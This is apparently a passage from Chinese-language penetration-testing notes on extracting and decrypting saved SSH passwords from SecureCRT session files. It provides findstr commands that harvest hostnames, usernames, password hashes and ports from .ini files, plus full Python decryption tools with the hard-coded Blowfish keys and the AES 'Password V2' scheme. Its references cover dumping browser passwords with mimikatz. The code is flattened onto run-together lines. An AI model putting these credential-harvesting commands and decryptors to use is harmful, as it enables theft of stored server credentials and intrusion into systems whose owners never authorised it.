from Crypto.Cipher import Blowfishimport argparseimport redef decrypt (password ) : c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7' .replace(' ' ,'' ).decode('hex' ), Blowfish.MODE_CBC, '\x00' *8 ) c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07' .replace(' ' ,'' ).decode('hex' ), Blowfish.MODE_CBC, '\x00' *8 ) padded = c1.decrypt(c2.decrypt(password.decode('hex' ))[4 :-4 ]) p = '' while padded[:2 ] != '\x00\x00' : p += padded[:2 ] padded = padded[2 :] return p.decode('UTF-16' ) REGEX_HOSTNAME = re.compile (ur'S:"Hostname"=([^\r\n]*)' ) REGEX_PASWORD = re.compile (ur'S:"Password"=u([0-9a-f]+)' ) REGEX_PORT = re.compile (ur'D:"\[SSH2\] Port"=([0-9a-f]{8})' ) REGEX_USERNAME = re.compile (ur'S:"Username"=([^\r\n]*)' ) def hostname (x ) : m = REGEX_HOSTNAME.search(x) if m : return m.group(1 ) return '???' def password (x ) : m = REGEX_PASWORD.search(x) if m : return decrypt(m.group(1 )) return '???' def port (x ) : m = REGEX_PORT.search(x) if m : return '-p %d ' %(int (m.group(1 ), 16 )) return '' def username (x ) : m = REGEX_USERNAME.search(x) if m : return m.group(1 ) + '@' return '' parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files' ) parser.add_argument('files' , type =argparse.FileType('r' ), nargs='+' , help ='session file(s)' ) args = parser.parse_args() for f in args.files : c = f.read().replace('\x00' , '' ) print f.name print "ssh %s%s%s # %s" %(port(c), username(c), hostname(c), password(c))
7.X版本
进入目录提取文件中的连接IP、端口、账号、hash
findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password\"=" /c:"\"[SSH2] Port\"=" *.ini
然后使用脚本进行解密
#注意去除hash的第一位 "u" python3 SecureCRT.py dec hash
解密脚本
import osfrom Crypto.Hash import SHA256from Crypto.Cipher import AES, Blowfishclass SecureCRTCrypto : def __init__ (self ): ''' Initialize SecureCRTCrypto object. ''' self.IV = b'\x00' * Blowfish.block_size self.Key1 = b'\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07' self.Key2 = b'\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7' def Encrypt (self, Plaintext : str ): ''' Encrypt plaintext and return corresponding ciphertext. Args: Plaintext: A string that will be encrypted. Returns: Hexlified ciphertext string. ''' plain_bytes = Plaintext.encode('utf-16-le' ) plain_bytes += b'\x00\x00' padded_plain_bytes = plain_bytes + os.urandom(Blowfish.block_size - len (plain_bytes) % Blowfish.block_size) cipher1 = Blowfish.new(self.Key1, Blowfish.MODE_CBC, iv = self.IV) cipher2 = Blowfish.new(self.Key2, Blowfish.MODE_CBC, iv = self.IV) return cipher1.encrypt(os.urandom(4 ) + cipher2.encrypt(padded_plain_bytes) + os.urandom(4 )).hex () def Decrypt (self, Ciphertext : str ): ''' Decrypt ciphertext and return corresponding plaintext. Args: Ciphertext: A hex string that will be decrypted. Returns: Plaintext string. ''' cipher1 = Blowfish.new(self.Key1, Blowfish.MODE_CBC, iv = self.IV) cipher2 = Blowfish.new(self.Key2, Blowfish.MODE_CBC, iv = self.IV) ciphered_bytes = bytes .fromhex(Ciphertext) if len (ciphered_bytes) <= 8 : raise ValueError('Invalid Ciphertext.' ) padded_plain_bytes = cipher2.decrypt(cipher1.decrypt(ciphered_bytes)[4 :-4 ]) i = 0 for i in range (0 , len (padded_plain_bytes), 2 ): if padded_plain_bytes[i] == 0 and padded_plain_bytes[i + 1 ] == 0 : break plain_bytes = padded_plain_bytes[0 :i] try : return plain_bytes.decode('utf-16-le' ) except UnicodeDecodeError: raise (ValueError('Invalid Ciphertext.' )) class SecureCRTCryptoV2 : def __init__ (self, ConfigPassphrase : str = '' ): ''' Initialize SecureCRTCryptoV2 object. Args: ConfigPassphrase: The config passphrase that SecureCRT uses. Leave it empty if config passphrase is not set. ''' self.IV = b'\x00' * AES.block_size self.Key = SHA256.new(ConfigPassphrase.encode('utf-8' )).digest() def Encrypt (self, Plaintext : str ): ''' Encrypt plaintext and return corresponding ciphertext. Args: Plaintext: A string that will be encrypted. Returns: Hexlified ciphertext string. ''' plain_bytes = Plaintext.encode('utf-8' ) if len (plain_bytes) > 0xffffffff : raise OverflowError('Plaintext is too long.' ) plain_bytes = \ len (plain_bytes).to_bytes(4 , 'little' ) + \ plain_bytes + \ SHA256.new(plain_bytes).digest() padded_plain_bytes = \ plain_bytes + \ os.urandom(AES.block_size - len (plain_bytes) % AES.block_size) cipher = AES.new(self.Key, AES.MODE_CBC, iv = self.IV) return cipher.encrypt(padded_plain_bytes).hex () def Decrypt (self, Ciphertext : str ): ''' Decrypt ciphertext and return corresponding plaintext. Args: Ciphertext: A hex string that will be decrypted. Returns: Plaintext string. ''' cipher = AES.new(self.Key, AES.MODE_CBC, iv = self.IV) padded_plain_bytes = cipher.decrypt(bytes .fromhex(Ciphertext)) plain_bytes_length = int .from_bytes(padded_plain_bytes[0 :4 ], 'little' ) plain_bytes = padded_plain_bytes[4 :4 + plain_bytes_length] if len (plain_bytes) != plain_bytes_length: raise ValueError('Invalid Ciphertext.' ) plain_bytes_digest = padded_plain_bytes[4 + plain_bytes_length:4 + plain_bytes_length + SHA256.digest_size] if len (plain_bytes_digest) != SHA256.digest_size: raise ValueError('Invalid Ciphertext.' ) if SHA256.new(plain_bytes).digest() != plain_bytes_digest: raise ValueError('Invalid Ciphertext.' ) return plain_bytes.decode('utf-8' ) if __name__ == '__main__' : import sys def Help (): print ('Usage:' ) print (' SecureCRTCipher.py <enc|dec> [-v2] [-p ConfigPassphrase] <plaintext|ciphertext>' ) print ('' ) print (' <enc|dec> "enc" for encryption, "dec" for decryption.' ) print (' This parameter must be specified.' ) print ('' ) print (' [-v2] Encrypt/Decrypt with "Password V2" algorithm.' ) print (' This parameter is optional.' ) print ('' ) print (' [-p ConfigPassphrase] The config passphrase that SecureCRT uses.' ) print (' This parameter is optional.' ) print ('' ) print (' <plaintext|ciphertext> Plaintext string or ciphertext string.' ) print (' NOTICE: Ciphertext string must be a hex string.' ) print (' This parameter must be specified.' ) print ('' ) def EncryptionRoutine (UseV2 : bool , ConfigPassphrase : str , Plaintext : str ): try : if UseV2: print (SecureCRTCryptoV2(ConfigPassphrase).Encrypt(Plaintext)) else : print (SecureCRTCrypto().Encrypt(Plaintext)) return True except : print ('Error: Failed to encrypt.' ) return False def DecryptionRoutine (UseV2 : bool , ConfigPassphrase : str , Ciphertext : str ): try : if UseV2: print (SecureCRTCryptoV2(ConfigPassphrase).Decrypt(Ciphertext)) else : print (SecureCRTCrypto().Decrypt(Ciphertext)) return True except : print ('Error: Failed to decrypt.' ) return False def Main (argc : int , argv : list ): if 3 <= argc and argc <= 6 : bUseV2 = False ConfigPassphrase = '' if argv[1 ].lower() == 'enc' : bEncrypt = True elif argv[1 ].lower() == 'dec' : bEncrypt = False else : Help() return -1 i = 2 while i < argc - 1 : if argv[i].lower() == '-v2' : bUseV2 = True i += 1 elif argv[i].lower() == '-p' and i + 1 < argc - 1 : ConfigPassphrase = argv[i + 1 ] i += 2 else : Help() return -1 if bUseV2 == False and len (ConfigPassphrase) != 0 : print ('Error: ConfigPassphrase is not supported if "-v2" is not specified' ) return -1 if bEncrypt: return 0 if EncryptionRoutine(bUseV2, ConfigPassphrase, argv[-1 ]) else -1 else : return 0 if DecryptionRoutine(bUseV2, ConfigPassphrase, argv[-1 ]) else -1 else : Help() exit(Main(len (sys.argv), sys.argv))
8.X版本
进入目录提取文件中的连接IP、端口、账号、hash
findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password V2\"=" /c:"\"[SSH2] Port\"=" *.ini
然后使用上面脚本解密
#注意去除hash的前面三位 "02:" python3 SecureCRT.py dec -v2 hash
参考文章
http://redteam.today/2019/12/09/%E4%BD%BF%E7%94%A8mimikatz%E5%AF%BC%E5%87%BAchrome%E5%AF%86%E7%A0%81/ https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81 https://github.com/tianhe1986/FatSmallTools https://github.com/kinnisoy/GetChromePassword https://github.com/dzxs/Xdecrypt https://rcoil.me/2019/09/%E3%80%90%E7%BC%96%E7%A8%8B%E3%80%91SharpDecryptPwd/ https://www.cnblogs.com/Yang34/p/14237114.html